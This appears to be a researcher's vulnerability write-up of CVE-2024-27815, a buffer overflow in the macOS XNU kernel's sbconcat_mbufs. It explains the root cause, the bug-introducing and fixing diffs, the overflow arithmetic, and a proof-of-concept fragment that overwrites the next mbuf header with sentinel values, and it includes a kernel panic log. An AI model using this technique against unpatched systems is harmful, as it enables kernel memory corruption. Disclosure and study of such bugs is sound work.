< Home Light Mode


A Buffer Overflow in the XNU Kernel

What if I'm not like the others?
A broken mbuf, an overwrite--
What if my Mac won't recover?
I'll clean my code with TURPENTINE!

CVE-2024-27815 is a buffer overflow in the XNU kernel I reported in sbconcat_mbufs. It was publicly fixed in xnu-10063.121.3, released with macOS 14.5, iOS 17.5, and visionOS 1.2.

This bug was introduced in xnu-10002.1.13 (macOS 14.0/ iOS 17.0) and was fixed in xnu-10063.121.3 (macOS 14.5/ iOS 17.5). The bug affects kernels compiled with CONFIG_MBUF_MCACHE. I have verified the existence of this bug on X86_64 builds of macOS 14.2, 14.3, and 14.4.

TURPENTINE.c contains a PoC, and an example crash log is shown below. You can find the proof-of-concept code here.

I would like to thank the Apple Product Security Team for both their swift response to this bug and their overall support for security research.


Security Advisories

$ sha256sum TURPENTINE.c
f7160a6ad7d52f32d64b86cf3006c98a217954d80c3fc71a8f27595e227d0fa0  TURPENTINE.c

Root Cause

Message buffers (struct mbuf's) are objects used in various networking / BSD portions of the kernel. mbuf's consist of a header and data portion, both of fixed size. _MSIZE is the total size of a message buffer, and MLEN is the length of the data part of the message buffer (eg. not counting the header). asa->sa_len can be up to SOCK_MAXADDRLEN (255) as it's just a single unsigned byte.


This bcopy in sbconcat_mbufs copies a socket address into a message buffer. It allows the attacker to write up to sa_len (up to 255) bytes of data into a message buffer's data field, which is only MLEN (224) bytes long.


m->m_len = asa->sa_len;
bcopy((caddr_t)asa, mtod(m, caddr_t), asa->sa_len);

Note: Recall that bcopy's arguments are (source, dest, len)- the opposite of memcpy. mtod just grabs the data field from an mbuf. So, this bcopy copies the socket address into mbuf.M_databuf, potentially overflowing it.

xnu-10002.1.13 introduced the bug when this macro was added that only emits the bounds check when _MSIZE is smaller than a byte (after checking sa_len is only a byte). The mistake was using _MSIZE instead of MLEN, the actual length of available space in which to copy data.

Change that Introduced the Bug

@@ -1233,9 +1233,13 @@ sbconcat_mbufs(struct sockbuf *sb, struct sockaddr *asa, struct mbuf *m0, struct

        if (asa != NULL) {
+               _CASSERT(sizeof(asa->sa_len) == sizeof(__uint8_t));
+#if _MSIZE <= UINT8_MAX
                if (asa->sa_len > MLEN) {
                        return NULL;
+               _CASSERT(sizeof(asa->sa_len) == sizeof(__uint8_t));
                space += asa->sa_len;

This macro was presumably added to increase performance by removing a redundant check, but this was done incorrectly. _MSIZE is the total size of a message buffer, including its header. There are only MLEN bytes available to copy into, not _MSIZE. The original check (that sa_len > MLEN) is correct, but the added macro is not.

Apple's Fix

@@ -1226,12 +1226,9 @@ sbconcat_mbufs(struct sockbuf *sb, struct sockaddr *asa, struct mbuf *m0, struct

        if (asa != NULL) {
                _CASSERT(sizeof(asa->sa_len) == sizeof(__uint8_t));
-#if _MSIZE <= UINT8_MAX
-               if (asa->sa_len > MLEN) {
+               if (MLEN <= UINT8_MAX && asa->sa_len > MLEN) {
                        return NULL;
-               _CASSERT(sizeof(asa->sa_len) == sizeof(__uint8_t));
                space += asa->sa_len;

Apple released a fix in xnu-10063.121.3, which is the kernel that ships with macOS 14.5. Now, sbconcat_mbufs correctly compares MLEN, not _MSIZE, to UINT8_MAX. When the constant MLEN is always larger than UINT8_MAX, the compiler can optimize this check out, and this is safe because the CASSERT guarantees sa_len is at most 255.

Proof of Concept

All you need are 3 syscalls- socketpair, bind, and write. No extra privileges are needed. The kernel needs to have been compiled with CONFIG_MBUF_MCACHE as well. I have tested and verified the presence of this bug on X86_64 builds of macOS 14.2, 14.3, and 14.4.

To run: gcc turpentine.c -o turpentine and ./turpentine.

The PoC code can be found here.


Given the overflow is SOCK_MAXADDRLEN - MLEN bytes long, and MLEN = _MSIZE - sizeof(m_hdr):

Overflow = SOCK_MAXADDRLEN - (_MSIZE - sizeof(m_hdr))
Overflow = sizeof(m_hdr) - (_MSIZE - SOCK_MAXADDRLEN)

The overflow is always sizeof(m_hdr) - (_MSIZE - SOCK_MAXADDRLEN) bytes long.

When CONFIG_MBUF_MCACHE is on, _MSIZE (256) - SOCK_MAXADDRLEN (255) is 1.

This means we have sizeof(m_hdr) - 1 bytes of overflow. This gives us control over all but the last byte of the m_hdr of the next mbuf in memory, as usually the thing in memory past our mbuf is another mbuf.

We can deterministically set every field of the m_hdr of the next mbuf in memory to any attacker-controlled arbitrary value.

mbuf.h:133 shows the definition for a mbuf's header when CONFIG_MBUF_MCACHE is on:

struct m_hdr {
        struct mbuf                *mh_next;       /* next buffer in chain */
        struct mbuf                *mh_nextpkt;    /* next chain in queue/record */
        uintptr_t                  mh_data;        /* location of data */
        int32_t                    mh_len;         /* amount of data in this mbuf */
        u_int16_t                  mh_type;        /* type of data in this mbuf */
        u_int16_t                  mh_flags;       /* flags; see below */

We can write arbitrary attacker-controlled values into the entirety of mh_next, mh_nextpkt, mh_data, mh_len, mh_type, and the least significant byte of mh_flags.

TURPENTINE.c triggers the exploit by creating a socket address that is 255 bytes long. The last 31 bytes of the socket name are copied beyond the bounds of the mbuf.M_databuf field, overlapping the m_hdr of the next message buffer in memory. TURPENTINE.c sets these fields to sentinel values for demonstration purposes.

TURPENTINE.c:50 sets up a fake m_hdr inside the socket name:

// Fill in with whatever you want the m_hdr of the next mbuf to be :)
m_hdr *header = (m_hdr *)&sockaddr_un_buf[OFFSET_MHDR];
header->mh_next    = 0x4040404040404040ULL;
header->mh_nextpkt = 0x4141414141414141ULL;
header->mh_data    = 0x4242424242424242ULL;
header->mh_len     = 0x43434343;
header->mh_type    = 0x4444;
header->mh_flags   = 0x4545;

Example Crash

Here's an example crash- a general protection fault in kernel_task.

Don't let the kexts in the backtrace fool you- this bug is localized to just the main kernel. The PoC allocates an mbuf and corrupts the mbuf in memory after it, which in my environment usually is owned by a kext. It's not an mbuf created by the PoC that is corrupted, but some random mbuf owned by something else (usually a kext). That's why this backtrace shows kext methods.

When TURPENTINE.c runs, it overwrites the m_hdr of the next mbuf in memory, setting the entire header to attacker-controlled arbitrary values. For this demo, I just set the m_hdr to 0x4141414141414141's.

Debugger: Unexpected kernel trap number: 0xd, RIP: 0xffffff8003901082, CR2: 0x0
CPU 0 panic trap number 0xd, rip 0xffffff8003901082
cr0 0x000000008001003b cr2 0x00007ff7bac54ad0 cr3 0x000000000843e000 cr4 0x00000000001406e0
Debugger called: 
panic(cpu 0 caller 0xffffff8003d851b3): Kernel trap at 0xffffff8003901082, type 13=general protection, registers:
CR0: 0x000000008001003b, CR2: 0x00007ff7bac54ad0, CR3: 0x000000000843e000, CR4: 0x00000000001406e0
RAX: 0xbdbdbd48aab09a6e, RBX: 0xffffff8aecf2dcb0, RCX: 0x000000000000003c, RDX: 0x000000000000003c
RSP: 0xffffffb55ab0bcf8, RBP: 0xffffffb55ab0bd10, RSI: 0x4242424242424242, RDI: 0xffffff8aecf2dcb0
R8:  0xffffff8aecf2dd00, R9:  0xffffff8aecf2dd00, R10: 0xffffff8aecf2dc08, R11: 0x0000000066316350
R12: 0x000000000000003c, R13: 0x000000000000003c, R14: 0xffffff8aecf2dcb0, R15: 0x000000000000003c
RFL: 0x0000000000010282, RIP: 0xffffff8003901082, CS:  0x0000000000000008, SS:  0x0000000000000010
Fault CR2: 0x0000000000000000, Error code: 0x0000000000000000, Fault CPU: 0x0 VMM, PL: 0, VF: 0

Panicked task 0xffffff9fc2224be8: 165 threads: pid 0: kernel_task
Backtrace (CPU 0), panicked thread: 0xffffff915cabbb30, Frame : Return Address
0xffffff800390c140 : 0xffffff8003c36c41 mach_kernel : _handle_debugger_trap + 0x4b1
0xffffff800390c190 : 0xffffff8003d955c0 mach_kernel : _kdp_i386_trap + 0x110
0xffffff800390c1d0 : 0xffffff8003d84d0c mach_kernel : _kernel_trap + 0x55c
0xffffff800390c250 : 0xffffff8003bd3971 mach_kernel : _return_from_trap + 0xc1
0xffffff800390c270 : 0xffffff8003c36f2d mach_kernel : _DebuggerTrapWithState + 0x5d
0xffffff800390c360 : 0xffffff8003c365d3 mach_kernel : _panic_trap_to_debugger + 0x1e3
0xffffff800390c3c0 : 0xffffff80043d8d0b mach_kernel : _panic + 0x84
0xffffff800390c4b0 : 0xffffff8003d851b3 mach_kernel : _sync_iss_to_iks + 0x2c3
0xffffff800390c630 : 0xffffff8003d84e97 mach_kernel : _kernel_trap + 0x6e7
0xffffff800390c6b0 : 0xffffff8003bd3971 mach_kernel : _return_from_trap + 0xc1
0xffffff800390c6d0 : 0xffffff8003901082
0xffffffb55ab0bd10 : 0xffffff8005cfeb8f : __ZL12IO_COPY_MBUFP6__mbufS0_i + 0xb3
0xffffffb55ab0bd60 : 0xffffff8005cfec9c : __ZN19IONetworkController19replaceOrCopyPacketEPP6__mbufjPb + 0x9e
0xffffffb55ab0bda0 : 0xffffff8005f46b93 : __ZN21AppleVMXNETController18replace_dma_bufferEP10mbuf_dma_sii + 0x2f
0xffffffb55ab0bdf0 : 0xffffff8005f45ffe : __ZN21AppleVMXNETController12rx_pkt_queueEiP11IOMbufQueuej + 0x128
0xffffffb55ab0bea0 : 0xffffff8005f45d1d : __ZN21AppleVMXNETController21interrupt_msi_handlerEP22IOInterruptEventSourcei + 0x5f
0xffffffb55ab0bed0 : 0xffffff800430e90a mach_kernel : __ZN22IOInterruptEventSource12checkForWorkEv + 0x12a
0xffffffb55ab0bf20 : 0xffffff800430d12e mach_kernel : __ZN10IOWorkLoop15runEventSourcesEv + 0x13e
0xffffffb55ab0bf60 : 0xffffff800430c756 mach_kernel : __ZN10IOWorkLoop10threadMainEv + 0x36
0xffffffb55ab0bfa0 : 0xffffff8003bd319e mach_kernel : _call_continuation + 0x2e
      Kernel Extensions in backtrace:[5D912FD8-C4CD-3CF6-B214-DF5BF7AB4FA0]@0xffffff8005cf4000->0xffffff8005d0bfff[5FAEBB98-3551-319C-8075-EA4855C07B97]@0xffffff8005f42000->0xffffff8005f46fff

Process name corresponding to current thread (0xffffff915cabbb30): kernel_task
Boot args: kcsuffix=release wdt=-1 serial=5 debug=0x10012a kasan.checks=4294967295 -v keepsyms=1 amfi_get_out_of_my_way=1 tlbto_us=0 vti=9

Mac OS version:

Kernel version:
Darwin Kernel Version 23.3.0: Wed Dec 20 21:28:58 PST 2023; root:xnu-10002.81.5~7/RELEASE_X86_64
Kernel UUID: 8C96896D-43A3-3BF0-8F4C-4118DA6AC9AA
roots installed: 0
KernelCache slide: 0x0000000003800000
KernelCache base:  0xffffff8003a00000
Kernel slide:      0x00000000038e0000
Kernel text base:  0xffffff8003ae0000
__HIB  text base: 0xffffff8003900000


June 19, 2024